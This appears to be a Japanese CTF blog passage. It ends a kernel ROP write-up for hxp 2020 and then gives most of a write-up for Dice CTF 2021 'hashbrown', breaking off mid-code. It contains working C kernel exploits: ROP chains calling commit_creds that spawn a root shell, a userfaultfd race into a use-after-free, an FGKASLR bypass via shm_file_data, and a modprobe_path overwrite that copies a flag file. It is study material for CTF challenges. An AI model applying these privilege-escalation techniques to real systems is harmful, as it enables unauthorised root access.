#define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <signal.h> #include <poll.h> #include <pthread.h> #include <err.h> #include <errno.h> #include <sched.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/userfaultfd.h> #include <linux/prctl.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/shm.h> // commands #define DEV_PATH "/dev/hackme" // the path the device is placed // constants #define PAGE 0x1000 #define FAULT_ADDR 0xdead0000 #define FAULT_OFFSET PAGE #define MMAP_SIZE 4*PAGE #define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET // (END constants) // globals // (END globals) // utils #define WAIT getc(stdin); #define REP(N) for(int iiiiix=0;iiiiix!=N;++iiiiix) #define ulong unsigned long #define scu static const unsigned long #define NULL (void*)0 #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\ if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");} ulong user_cs,user_ss,user_sp,user_rflags; struct pt_regs { ulong r15; ulong r14; ulong r13; ulong r12; ulong bp; ulong bx; ulong r11; ulong r10; ulong r9; ulong r8; ulong ax; ulong cx; ulong dx; ulong si; ulong di; ulong orig_ax; ulong ip; ulong cs; ulong flags; ulong sp; ulong ss; }; void print_regs(struct pt_regs *regs) { printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12); printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10); printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx); printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip); printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss); } void NIRUGIRI(void) { printf("[!!!] NIRUGIRI!!!\n"); char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } // should compile with -masm=intel static void save_state(void) { asm( "movq %0, %%cs\n" "movq %1, %%ss\n" "movq %2, %%rsp\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); printf("[+] save_state: cs:%lx ss:%lx sp:%lx rflags:%lx\n", user_cs, user_ss, user_sp, user_rflags); } static void shellcode(void){ asm( "xor rdi, rdi\n" "mov rbx, QWORD PTR [rsp+0x50]\n" "sub rbx, 0x244566\n" "mov rcx, rbx\n" "call rcx\n" "mov rdi, rax\n" "sub rbx, 0x470\n" "call rbx\n" "add rsp, 0x20\n" "pop rbx\n" "pop r12\n" "pop r13\n" "pop r14\n" "pop r15\n" "pop rbp\n" "ret\n" ); } // (END utils) // hackme int _write(int fd, char *buf, uint size){ assert(fd > 0); int res = write(fd, buf, size); assert(res >= 0); return res; } int _read(int fd, char *buf, uint size){ assert(fd > 0); int res = read(fd, buf, size); assert(res >= 0); return res; } // (END hackme) #define CANARY_OFF 0x80 #define RBP_OFF 0x98 int fd; ulong kernbase; ulong commit_creds, prepare_kernel_cred, current_task; ulong canary; char rbuf[0x200]; char wbuf[0x200]; void level3(void){ ulong ret; asm( "movq %0, %%rax\n" : "=r"(ret) ); const ulong my_special_cred = ret; printf("[!] reached Level-3\n"); printf("[!] my_special_cred: 0x%lx\n", my_special_cred); // into level4 save_state(); ulong *c = &wbuf[CANARY_OFF]; memset(wbuf, 'A', 0x200); *c++ = canary; *c++ = '1'; // rbx *c++ = '2'; // r12 *c++ = '3'; // rbp *c++ = kernbase + 0x006370; // pop rdi *c++ = my_special_cred; *c++ = commit_creds; *c++ = kernbase + 0x200f23; // go home(swapgs & iretq) for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none *c++ = 'A' + ix + 1; *c++ = &NIRUGIRI; *c++ = user_cs; *c++ = user_rflags; *c++ = user_sp; *c++ = user_ss; _write(fd, wbuf, 0x130); errExit("level3"); } void level2(void){ ulong ret; asm( "movq %0, %%rax\n" : "=r"(ret) ); prepare_kernel_cred = (signed long)kernbase + (signed long)0xf8d4fc + (signed int)ret; printf("[!] reached Level-2\n"); printf("[!] prepare_kernel_cred: 0x%lx\n", prepare_kernel_cred); // into level3 save_state(); ulong *c = &wbuf[CANARY_OFF]; memset(wbuf, 'A', 0x200); *c++ = canary; *c++ = '1'; // rbx *c++ = '2'; // r12 *c++ = '3'; // rbp *c++ = kernbase + 0x006370; // pop rdi *c++ = 0; *c++ = prepare_kernel_cred; *c++ = kernbase + 0x200f23; // go home(swapgs & iretq) printf("[!!!] 0x%lx\n", *(c-1));; for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none *c++ = 'A' + ix + 1; *c++ = &level3; *c++ = user_cs; *c++ = user_rflags; *c++ = user_sp; *c++ = user_ss; _write(fd, wbuf, 0x130); errExit("level2"); } void level1(void){ ulong ret; asm( "movq %0, %%rax\n" : "=r"(ret) ); commit_creds = (signed long)kernbase + (signed long)0xf87d90 + (signed int)ret; printf("[!] reached Level-1\n"); printf("[!] commit_creds: 0x%lx\n", commit_creds); // into level2 save_state(); ulong *c = &wbuf[CANARY_OFF]; memset(wbuf, 'A', 0x200); *c++ = canary; *c++ = '1'; // rbx *c++ = '2'; // r12 *c++ = '3'; // rbp *c++ = kernbase + 0x4D11; // pop rax *c++ = kernbase + 0xf8d4fc; // __ksymtab_prepare_kernel_cred *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp; *c++ = 'A'; // rbp *c++ = kernbase + 0x200f23; // go home(swapgs & iretq) for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none *c++ = 'A' + ix + 1; *c++ = &level2; *c++ = user_cs; *c++ = user_rflags; *c++ = user_sp; *c++ = user_ss; _write(fd, wbuf, 0x130); errExit("level1"); } int main(int argc, char *argv[]) { printf("[.] NIRUGIRI @ %p\n", &NIRUGIRI); printf("[.] level1 @ %p\n", &level1); memset(wbuf, 'A', 0x200); memset(rbuf, 'B', 0x200); fd = open(DEV_PATH, O_RDWR); assert(fd > 0); // leak canary and kernbase _read(fd, rbuf, 0x1a0); canary = ((ulong*)rbuf)[0x10/8]; printf("[+] canary: %lx\n", canary); kernbase = ((ulong*)rbuf)[38] - ((ulong)0xffffffffb080a157 - (ulong)0xffffffffb0800000); printf("[!] kernbase: 0x%lx\n", kernbase); // leak symbols from __ksymtab_xxx save_state(); ulong *c = &wbuf[CANARY_OFF]; memset(wbuf, 'A', 0x200); *c++ = canary; *c++ = '1'; // rbx *c++ = '2'; // r12 *c++ = '3'; // rbp *c++ = kernbase + 0x4D11; // pop rax *c++ = kernbase + 0xf87d90; // __ksymtab_commit_creds *c++ = kernbase + 0x015a80; // mov eax, dword[rax]; pop rbp; *c++ = 'A'; // rbp *c++ = kernbase + 0x200f23; // go home(swapgs & iretq) for(int ix=0; ix!=5; ++ix) // rcx, rdx, rsi, rdi, none *c++ = 'A' + ix + 1; *c++ = &level1; *c++ = user_cs; *c++ = user_rflags; *c++ = user_sp; *c++ = user_ss; _write(fd, wbuf, 0x130); errExit("main"); return 0; } /* gad go home ffffffff81200f23: 59 pop rcx ffffffff81200f24: 5a pop rdx ffffffff81200f25: 5e pop rsi ffffffff81200f26: 48 89 e7 mov rdi,rsp ffffffff81200f29: 65 48 8b 24 25 04 60 mov rsp,QWORD PTR gs:0x6004 ffffffff81200f30: 00 00 ffffffff81200f32: ff 77 30 push QWORD PTR [rdi+0x30] ffffffff81200f35: ff 77 28 push QWORD PTR [rdi+0x28] ffffffff81200f38: ff 77 20 push QWORD PTR [rdi+0x20] ffffffff81200f3b: ff 77 18 push QWORD PTR [rdi+0x18] ffffffff81200f3e: ff 77 10 push QWORD PTR [rdi+0x10] ffffffff81200f41: ff 37 push QWORD PTR [rdi] ffffffff81200f43: 50 push rax ffffffff81200f44: eb 43 jmp ffffffff81200f89 <_stext+0x200f89> ffffffff81200f46: 0f 20 df mov rdi,cr3 ffffffff81200f49: eb 34 jmp ffffffff81200f7f <_stext+0x200f7f> */
8: アウトロ
FGKASLRをkROPでbypassする、為になる良い問題でした。
9: symbols without KASLR
hackme_buf: 0xffffffffc0002440
信じられるものは、.bss/.dataだけ。アンパンマンと一緒だね。
10: 参考
1: author's writeup
https://hxp.io/blog/81/hxp-CTF-2020-kernel-rop/
2: ニルギリ
続く...
【pwn 48.0】hashbrown - Dice CTF 2021 (kernel exploit)
kernel exploit / FGKASLR / slab / race condition / modprobe_path / shm_file_data / kUAF / shmem_vm_ops
- 1: イントロ
- 2: static
- 3: FGKASLR
- 4: Vuln: race to kUAF
- 5: leak and bypass FGKASLR via shm_file_data
- 6: AAW
- 7: exploit
- 8: アウトロ
- 9: symbols without KASLR
- 10: 参考
1: イントロ
いつぞや開催された Dice CTF 2021 のkernel問題: hashbrown 。なんかパット見でSECCON20のkvdbを思い出して吐きそうになった(あの問題、かなりbrainfuckingでトラウマ...)。まぁ結果として相違点は、題材がハッシュマップを用いたデータ構造を使ってるっていうのと、dungling-pointerが生まれるということくらい(あれ、結構同じか?)。
先に言うと、凄くいい問題でした。自分にとって知らないこと(FGKASLRとか)を新しく知ることもできたし、既に知っていることを考えて使う練習もできた問題でした。
2: static
basic
~ $ cat /proc/version Linux version 5.11.0-rc3 (professor_stallman@i_use_arch_btw) (gcc (Debian 10.2.0-15) 10.2.0, GNU ld (GNU 1 ~ $ lsmod hashbrown 16384 0 - Live 0x0000000000000000 (OE) $ modinfo ./hashbrown.ko filename: /home/wataru/Documents/ctf/dice2020/hashbrown/work/./hashbrown.ko license: GPL description: Here's a hashbrown for everyone! author: FizzBuzz101 depends: retpoline: Y name: hashbrown vermagic: 5.11.0-rc3 SMP mod_unload modversions exec qemu-system-x86_64 \ -m 128M \ -nographic \ -kernel "bzImage" \ -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \ -no-reboot \ -cpu qemu64,+smep,+smap \ -monitor /dev/null \ -initrd "initramfs.cpio" \ -smp 2 \ -smp cores=2 \ -smp threads=1
SMEP有効・SMAP有効・KAISER有効・KASLR有効・ FGKASLR 有効・oops->panic・ダブルコアSMP
スラブには SLUB ではなく SLAB を利用していて、 CONFIG_FREELIST_RANDOM と CONFIG_FREELIST_HARDENED 有効。
Module
モジュール hashbrown のソースコードが配布されている。ソースコードの配布はいつだって正義。配布しない場合はその理由を原稿用紙12枚分書いて一緒に配布する必要がある。
キャラクタデバイス /dev/hashbrown を登録し、 ioctl() のみを実装している。その挙動は典型的なhashmapの実装であり、author's writeupによるとJDKの実装を取ってきているらしい。ioctl()
の概観は以下のとおり。
static long hashmap_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { long result; request_t request; uint32_t idx; if (cmd == ADD_KEY) { if (hashmap.entry_count == hashmap.threshold && hashmap.size < SIZE_ARR_MAX) { mutex_lock(&resize_lock); result = resize((request_t *)arg); mutex_unlock(&resize_lock); return result; } } mutex_lock(&operations_lock); if (copy_from_user((void *)&request, (void *)arg, sizeof(request_t))) { result = INVALID; } else if (cmd == ADD_KEY && hashmap.entry_count == MAX_ENTRIES) { result = MAXED; } else { idx = get_hash_idx(request.key, hashmap.size); switch(cmd) { case ADD_KEY: result = add_key(idx, request.key, request.size, request.src); break; case DELETE_KEY: result = delete_key(idx, request.key); break; case UPDATE_VALUE: result = update_value(idx, request.key, request.size, request.src); break; case DELETE_VALUE: result = delete_value(idx, request.key); break; case GET_VALUE: result = get_value(idx, request.key, request.size, request.dest); break; default: result = INVALID; break; } } mutex_unlock(&operations_lock); return result; }
データはstruct hashmap_t
型の構造体で管理され、各エントリはstruct hash_entry
型で表現される。
typedef struct { uint32_t size; uint32_t threshold; uint32_t entry_count; hash_entry **buckets; }hashmap_t;
buckets
の大きさはsize
だけあり、キーを新たに追加する際に現在存在しているキーの数がthreshold
を上回っているとresize()
が呼び出され、新たにbuckets
がkzalloc()
で確保される。古いbuckets
からデータをすべてコピーした後、古いbuckets
はkfree()
される。このthreshold
は、 bucketsが保持可能な最大要素数 x 3/4 で計算される。各buckets
へのアクセスにはkey
の値から計算したインデックスを用いて行われ、このインデックスは容易に衝突するためhash_entry
はリスト構造で要素を保持している。
3: FGKASLR
Finer/Function Granular KASLR 。詳しくはLWN参照。カーネルイメージELFに関数毎にセクションが作られ、それらがカーネルのロード時にランダマイズされて配置されるようになる。メインラインには載っていない。これによって、あるシンボルをleakすることでベースとなるアドレスを計算することが難しくなる。
0000000000000094 0000000000000000 AX 0 0 16 [3507] .text.revert_cred PROGBITS ffffffff8148e2b0 0068e2b0 000000000000002f 0000000000000000 AX 0 0 16 [3508] .text.abort_creds PROGBITS ffffffff8148e2e0 0068e2e0 000000000000001d 0000000000000000 AX 0 0 16 [3509] .text.prepare_cre PROGBITS ffffffff8148e300 0068e300 0000000000000234 0000000000000000 AX 0 0 16 [3510] .text.commit_cred PROGBITS ffffffff8148e540 0068e540 000000000000019c 0000000000000000 AX 0 0 16 [3511] .text.prepare_ker PROGBITS ffffffff8148e6e0 0068e6e0 00000000000001ba 0000000000000000 AX 0 0 16 [3512] .text.exit_creds PROGBITS ffffffff8148e8a0 0068e8a0 0000000000000050 0000000000000000 AX 0 0 16 [3513] .text.cred_alloc_ PROGBITS ffffffff8148e8f0 0068e8f0
なんか、こうまでするのって、凄いと思うと同時に、ちょっと引く...。
朗報として、従来の .text セクションに入っている一部の関数及びC以外で記述された関数はランダマイズの対象外になる。また、データセクションにあるシンボルもランダマイズされないため、リークにはこういったシンボルを使う。詳しくは後述する。
4: Vuln: race to kUAF
モジュールは結構ちゃんとした実装になっている。だが、上のコード引用からも分かるとおり、ミューテックスを2つ利用していることが明らかに不自然。しかも、 basic に書いたようにマルチコアで動いているため race condition であろうことが推測できる。そして、大抵の場合raceはCTFにおいてcopy_from_user()
を呼び出すパスで起きることが多い(かなりメタ読みだが、そうするとuffdが使えるため)。
それを踏まえてresize()
を見てみると、以下の順序でbuckets
のresizeを行っていることが分かる。
1. 新しいbucketsをkzalloc() 2. 古いbucketsの各要素を巡回し、各要素を新たにkzalloc()してコピー 3. 新たに追加する要素をkzalloc()して追加。古い要素が持ってるデータへのポインタを新しい要素にコピー。 4. 古いbucketsの要素を全てkfree()
ここで、手順3において新たに追加する要素の追加にcopy_from_user()
が使われている。よって、 userfaultfd によって一旦処理を3で停止させる。その間に、 DELETE_VALUE によって値を削除する。すると、実際にその値はkfree()
されるものの、ポインタがNULLクリアされるのは古い方のbuckets
のみであり、新しい方のbuckets
には削除されたポインタが残存することになる( dungling-pointer )。
static long delete_value(uint32_t idx, uint32_t key) { hash_entry *temp; if (!hashmap.buckets[idx]) { return NOT_EXISTS; } for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next) { if (temp->key == key) { if (!temp->value || !temp->size) { return NOT_EXISTS; } kfree(temp->value); temp->value = NULL; temp->size = 0; return 0; } } return NOT_EXISTS; }
上のhashmap
はuffdによってresize()
処理が停止されている間は古いbuckets
を保持することになるから、UAFの成立である。
5: leak and bypass FGKASLR via shm_file_data
さて、上述したUAFを用いてまずはkernbaseのleakをする。
なんでseq_operationsじゃだめなのか
参考4において、 kmalloc-32 で利用できる構造体にshm_file_data
がある。これは以下のように定義される構造体である。
struct shm_file_data { int id; struct ipc_namespace *ns; struct file *file; const struct vm_operations_struct *vm_ops; };
メンバの内、ns
とvm_ops
がデータセクションのアドレスを指している。また、file
はヒープアドレスを指している。共有メモリをallocすることで任意のタイミングで確保・ストックすることができ、kernbaseもkernheapもleakできる優れものである。
とりわけ、vm_ops
はshmem_vm_ops
を指している。shmem_vm_ops
は以下で定義されるstruct vm_operations_struct
型の静的変数である。
static const struct vm_operations_struct shmem_vm_ops = { .fault = shmem_fault, .map_pages = filemap_map_pages, #ifdef CONFIG_NUMA .set_policy = shmem_set_policy, .get_policy = shmem_get_policy, #endif };
shmat
の呼び出しによって呼ばれるshm_mmap()
の内部で以下のように代入される。
static int shm_mmap(struct file *file, struct vm_area_struct *vma) { struct shm_file_data *sfd = shm_file_data(file); (snipped...) sfd->vm_ops = vma->vm_ops; #ifdef CONFIG_MMU WARN_ON(!sfd->vm_ops->fault); #endif vma->vm_ops = &shm_vm_ops; return 0; }
参考までに、以下が上のコードまでのbacktrace。(v5.9.11)
#0 shm_mmap (file=<optimized out>, vma=0xffff88800e4710c0) at ipc/shm.c:508 #1 0xffffffff8118c5c6 in call_mmap (vma=<optimized out>, file=<optimized out>) at ./include/linux/fs.h:1887 #2 mmap_region (file=<optimized out>, addr=140174097555456, len=<optimized out>, vm_flags=<optimized out>, pgoff=<optimized out>, uf=<optimized out>) at mm/mmap.c:1773 #3 0xffffffff8118cb9e in do_mmap (file=0xffff88800e42a600, addr=<optimized out>, len=4096, prot=2, flags=1, pgoff=<optimized out>, populate=0xffffc90000157ee8, uf=0x0) at mm/mmap.c:1545 #4 0xffffffff81325012 in do_shmat (shmid=1, shmaddr=<optimized out>, shmflg=0, raddr=<optimized out>, shmlba=<optimized out>) at ipc/shm.c:1559 #5 0xffffffff813250be in __do_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1594 #6 __se_sys_shmat (shmflg=<optimized out>, shmaddr=<optimized out>, shmid=<optimized out>) at ipc/shm.c:1589 #7 __x64_sys_shmat (regs=<optimized out>) at ipc/shm.c:1589 #8 0xffffffff81a3feb3 in do_syscall_64 (nr=<optimized out>, regs=0xffffc90000157f58) at arch/x86/entry/common.c:46
kmalloc-32 で使える構造体であれば、seq_operations
もあると書いてあるが、これらのポインタはFGKASLRの影響を受ける。実際、single_start()
等の関数のためにセクションが設けられていることが分かる。
[11877] .text.single_star PROGBITS ffffffff81669b30 00869b30 000000000000000f 0000000000000000 AX 0 0 16 [11878] .text.single_next PROGBITS ffffffff81669b40 00869b40 000000000000000c 0000000000000000 AX 0 0 16 [11879] .text.single_stop PROGBITS ffffffff81669b50 00869b50 0000000000000006 0000000000000000 AX 0 0 16
よって、 kernbase のleakにはこういった関数ポインタではなく、データ領域を指しているshm_file_data
等を使うことが望ましい。
leak
といわけで、uffdを使ってraceを安定化させつつshm_file_data
でkernbaseをリークしていく。
まずはbuckets
が拡張される直前までkey
を追加していく。最初のthreshold
は 0x10 x 3/4 = 0xc 回であるから、その分だけadd_key()
。それが終わったらuffdを設定したページからさらにadd_key()
を行い、フォルトの発生中にdelete_value()
して要素を解放したらUAFの完成。以下のようにleakができる。
因みに
uffdハンドラの中でmmap()
するのって、rootじゃないとダメなんだっけ?以下のコードはrootでやると上手く動いたけど、rootじゃないとmmap()
で-1が返ってきちゃった。後で調べる。
void *srcpage = mmap(0, PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); printf("[+] mmapped @ %p\n", srcpage); uffdio_copy.src = (ulong)srcpage; uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1); uffdio_copy.len = PAGE; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY");
【追記 20200215】これ、単純にアドレス0x0に対してMAP_FIXED
にしてるからだわ。
6: AAW
principle
さて、ここまででkernbaseのleakができている。次はAAWが欲しい。あと50兆円欲しい。
本モジュールには、既に存在しているhash_entry
の値を更新するupdate_value
という操作がある。
static long update_value(uint32_t idx, uint32_t key, uint32_t size, char *src) { hash_entry *temp; char *temp_data; if (size < 1 || size > MAX_VALUE_SIZE) { return INVALID; } if (!hashmap.buckets[idx]) { return NOT_EXISTS; } for (temp = hashmap.buckets[idx]; temp != NULL; temp = temp->next) { if (temp->key == key) { if (temp->size != size) { if (temp->value) { kfree(temp->value); } temp->value = NULL; temp->size = 0; temp_data = kzalloc(size, GFP_KERNEL); if (!temp_data || copy_from_user(temp_data, src, size)) { return INVALID; } temp->size = size; temp->value = temp_data; } else { if (copy_from_user(temp->value, src, size)) { return INVALID; } } return 0; } } return NOT_EXISTS; }
この中のif (copy_from_user(temp->value, src, size))
の部分で、仮にtemp->value
の保持するアドレスが不正に書き換えられるとするとAAWになる。このtemp
はstruct hash_entry
型であり、このサイズは kmalloc-32 である。よって、先程までと全く同じ方法でkUAFを起こし、temp
の中身を自由に操作することができる。
因みに、leakしたあとすぐに再び threshold 分だけadd_key()
してresize()
を呼ばせて、kUAFを起こし、そのあとすぐにadd_key()
して目的のobjectを手に入れようとしたが手に入らなくて"???"になった。だが、よくよく考えたらdelete_value()
でkUAFを引き起こした後に、古いbuckets
の解放が起こるためスラブにはどんどんオブジェクトが蓄積していってしまう。よって、その状態で目的のkUAFされたオブジェクトを手に入ろうとしてもすぐには手に入らない。解決方法は単純で、削除したはずの要素からget_value()
し続けて、それが今まで入っていた値と異なる瞬間が来たら、そのobjectが新たにhash_entry
としてallocされたことになる。
for(int ix=threshold+1; 1==1; ++ix){ // find my cute object memset(buf, 'A', 0x20); add_key(hashfd, ix, 0x20, buf); get_value(hashfd, targetkey, 0x20, buf); if(((uint*)buf)[0] != 0x41414141){ printf("[!] GOT kUAFed object!\n");; printf("[!] %lx\n", ((ulong*)buf)[0]); printf("[!] %lx\n", ((ulong*)buf)[1]); printf("[!] %lx\n", ((ulong*)buf)[2]); printf("[!] %lx\n", ((ulong*)buf)[3]); break; } }
overwrite modprobe_path
今回はSMAP/SMEP有効だから、ユーザランドのシェルコードを実行させるということはできない。かといってROPを組もうにも、FGKASLRが有効であるからガジェットの位置が定まらない。こんなときは、定番の modprobe_path の書き換えを行う。modprobe_path
はデータセクションにあるためFGKASLRの影響を受ける心配もない。
以下の感じで、ぷいぷいもるかー。
// trigger modprobe_path system("echo -ne '#!/bin/sh\n/bin/cp /flag.txt /home/ctf/flag.txt\n/bin/chmod 777 /home/ctf/flag.txt' > /home/ctf/nirugiri.sh"); system("chmod +x /home/ctf/nirugiri.sh"); system("echo -ne '\\xff\\xff\\xff\\xff' > /home/ctf/puipui-molcar"); system("chmod +x /home/ctf/puipui-molcar"); system("/home/ctf/puipui-molcar"); // NIRUGIRI it system("cat /home/ctf/flag.txt");
7: exploit
#define _GNU_SOURCE #include <string.h> #include <stdio.h> #include <fcntl.h> #include <stdint.h> #include <unistd.h> #include <assert.h> #include <stdlib.h> #include <signal.h> #include <poll.h> #include <pthread.h> #include <err.h> #include <errno.h> #include <sched.h> #include <linux/bpf.h> #include <linux/filter.h> #include <linux/userfaultfd.h> #include <linux/prctl.h> #include <sys/syscall.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/prctl.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/xattr.h> #include <sys/socket.h> #include <sys/uio.h> #include <sys/shm.h> // commands #define DEV_PATH "/dev/hashbrown" // the path the device is placed // constants #define PAGE 0x1000 #define FAULT_ADDR 0xdead0000 #define FAULT_OFFSET PAGE #define MMAP_SIZE 4*PAGE #define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET // (END constants) // utils #define WAIT getc(stdin); #define ulong unsigned long #define scu static const unsigned long #define NULL (void*)0 #define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \ } while (0) #define KMALLOC(qid, msgbuf, N) for(int ix=0; ix!=N; ++ix){\ if(msgsnd(qid, &msgbuf, sizeof(msgbuf.mtext) - 0x30, 0) == -1) errExit("KMALLOC");} ulong user_cs,user_ss,user_sp,user_rflags; struct pt_regs { ulong r15; ulong r14; ulong r13; ulong r12; ulong bp; ulong bx; ulong r11; ulong r10; ulong r9; ulong r8; ulong ax; ulong cx; ulong dx; ulong si; ulong di; ulong orig_ax; ulong ip; ulong cs; ulong flags; ulong sp; ulong ss; }; void print_regs(struct pt_regs *regs) { printf("r15: %lx r14: %lx r13: %lx r12: %lx\n", regs->r15, regs->r14, regs->r13, regs->r12); printf("bp: %lx bx: %lx r11: %lx r10: %lx\n", regs->bp, regs->bx, regs->r11, regs->r10); printf("r9: %lx r8: %lx ax: %lx cx: %lx\n", regs->r9, regs->r8, regs->ax, regs->cx); printf("dx: %lx si: %lx di: %lx ip: %lx\n", regs->dx, regs->si, regs->di, regs->ip); printf("cs: %lx flags: %lx sp: %lx ss: %lx\n", regs->cs, regs->flags, regs->sp, regs->ss); } void NIRUGIRI(void) { char *argv[] = {"/bin/sh",NULL}; char *envp[] = {NULL}; execve("/bin/sh",argv,envp); } // should compile with -masm=intel static void save_state(void) { asm( "movq %0, %%cs\n" "movq %1, %%ss\n" "movq %2, %%rsp\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" ); } static void shellcode(void){ asm( "xor rdi, rdi\n" "mov rbx, QWORD PTR [rsp+0x50]\n" "sub rbx, 0x244566\n" "mov rcx, rbx\n" "call rcx\n" "mov rdi, rax\n" "sub rbx, 0x470\n" "call rbx\n" "add rsp, 0x20\n" "pop rbx\n" "pop r12\n" "pop r13\n" "pop r14\n" "pop r15\n" "pop rbp\n" "ret\n" ); } // (END utils) // consts #define SIZE_ARR_START 0x10 // globals #define STATE_LEAK 0 #define STATE_UAF 1 #define STATE_INVALID 99 void *uffdaddr = NULL; pthread_t uffdthr; // ID of thread that handles page fault and continue exploit in another kernel thread int hashfd = -1; uint STATUS = STATE_LEAK; uint targetkey = SIZE_ARR_START * 3 / 4 - 1; uint limit = SIZE_ARR_START; uint threshold = SIZE_ARR_START * 3/ 4; char *faultsrc = NULL; // (END globals) /*** hashbrown ****/ // commands #define ADD_KEY 0x1337 #define DELETE_KEY 0x1338 #define UPDATE_VALUE 0x1339 #define DELETE_VALUE 0x133a #define GET_VALUE 0x133b // returns #define INVALID 1 #define EXISTS 2 #define NOT_EXISTS 3 #define MAXED 4 // structs typedef struct{ uint32_t key; uint32_t size; char *src; char *dest; }request_t; struct hash_entry{ uint32_t key; uint32_t size; char *value; struct hash_entry *next; }; typedef struct { uint32_t size; uint32_t threshold; uint32_t entry_count; struct hash_entry **buckets; }hashmap_t; uint get_hash_idx(uint key, uint size) { uint hash; key ^= (key >> 20) ^ (key >> 12); hash = key ^ (key >> 7) ^ (key >> 4); return hash & (size - 1); } // wrappers void add_key(int fd, uint key, uint size, char *data){ printf("[+] add_key: %d %d %p\n", key, size, data); request_t req = { .key = key, .size = size, .src = data }; long ret = ioctl(fd, ADD_KEY, &req); assert(ret != INVALID && ret != EXISTS); } void delete_key(int fd, uint key){ printf("[+] delete_key: %d\n", key); request_t req = { .key = key }; long ret = ioctl(fd, DELETE_KEY, &req); assert(ret != NOT_EXISTS && ret != INVALID); } void update_value(int fd, uint key, uint size, char *data){ printf("[+] update_value: %d %d %p\n", key, size, data); request_t req = { .key = key, .size = size, .src = data }; long ret = ioctl(fd, UPDATE_VALUE, &req); assert(ret != INVALID && ret != NOT_EXISTS); } void delete_value(int fd, uint key){ printf("[+] delete_value: %d\n", key); request_t req = { .key = key, }; long ret = ioctl(fd, DELETE_VALUE, &req); assert(ret != NOT_EXISTS); } void get_value(int fd, uint key, uint size, char *buf){ printf("[+] get_value: %d %d %p\n", key, size, buf); request_t req = { .key = key, .size = size, .dest = buf }; long ret = ioctl(fd, GET_VALUE, &req); assert(ret != NOT_EXISTS && ret != INVALID); } /**** (END hashbrown) ****/ // userfaultfd-utils static void* fault_handler_thread(void *arg) { puts("[+] entered fault_handler_thread"); static struct uffd_msg msg; // data read from userfaultfd struct uffdio_copy uffdio_copy; long uffd = (long)arg; // userfaultfd file descriptor struct pollfd pollfd; // int nready; // number of polled events int shmid; void *shmaddr; // set poll information pollfd.fd = uffd; pollfd.events = POLLIN; // wait for poll puts("[+] polling..."); while(poll(&pollfd, 1, -1) > 0){ if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP) errExit("poll"); // read an event if(read(uffd, &msg, sizeof(msg)) == 0) errExit("read"); if(msg.event != UFFD_EVENT_PAGEFAULT) errExit("unexpected pagefault"); printf("[!] page fault: 0x%llx\n",msg.arg.pagefault.address); // Now, another thread is halting. Do my business. switch(STATUS){ case STATE_LEAK: if((shmid = shmget(IPC_PRIVATE, PAGE, 0600)) < 0) errExit("shmget"); delete_value(hashfd, targetkey); if((shmaddr = shmat(shmid, NULL, 0)) < 0) errExit("shmat"); STATUS = STATE_UAF; break; case STATE_UAF: delete_value(hashfd, targetkey); STATUS = STATE_INVALID; break; default: errExit("unknown status"); } printf("[+] uffdio_copy.src: %p\n", faultsrc); uffdio_copy.src = (ulong)faultsrc; uffdio_copy.dst = (ulong)msg.arg.pagefault.address & ~(PAGE - 1); uffdio_copy.len = PAGE; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) errExit("ioctl-UFFDIO_COPY"); else{ puts("[+] end ioctl(UFFDIO_COPY)"); } break; } puts("[+] exiting fault_handler_thrd"); } pthread_t register_userfaultfd_and_halt(void) { puts("[+] registering userfaultfd..."); long uffd; // userfaultfd file descriptor struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // create userfaultfd file descriptor uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc if(uffd == -1) errExit("userfaultfd"); // enable uffd object via ioctl(UFFDIO_API) uffdio_api.api = UFFD_API; uffdio_api.features = 0; if(ioctl(uffd, UFFDIO_API, &uffdio_api) == 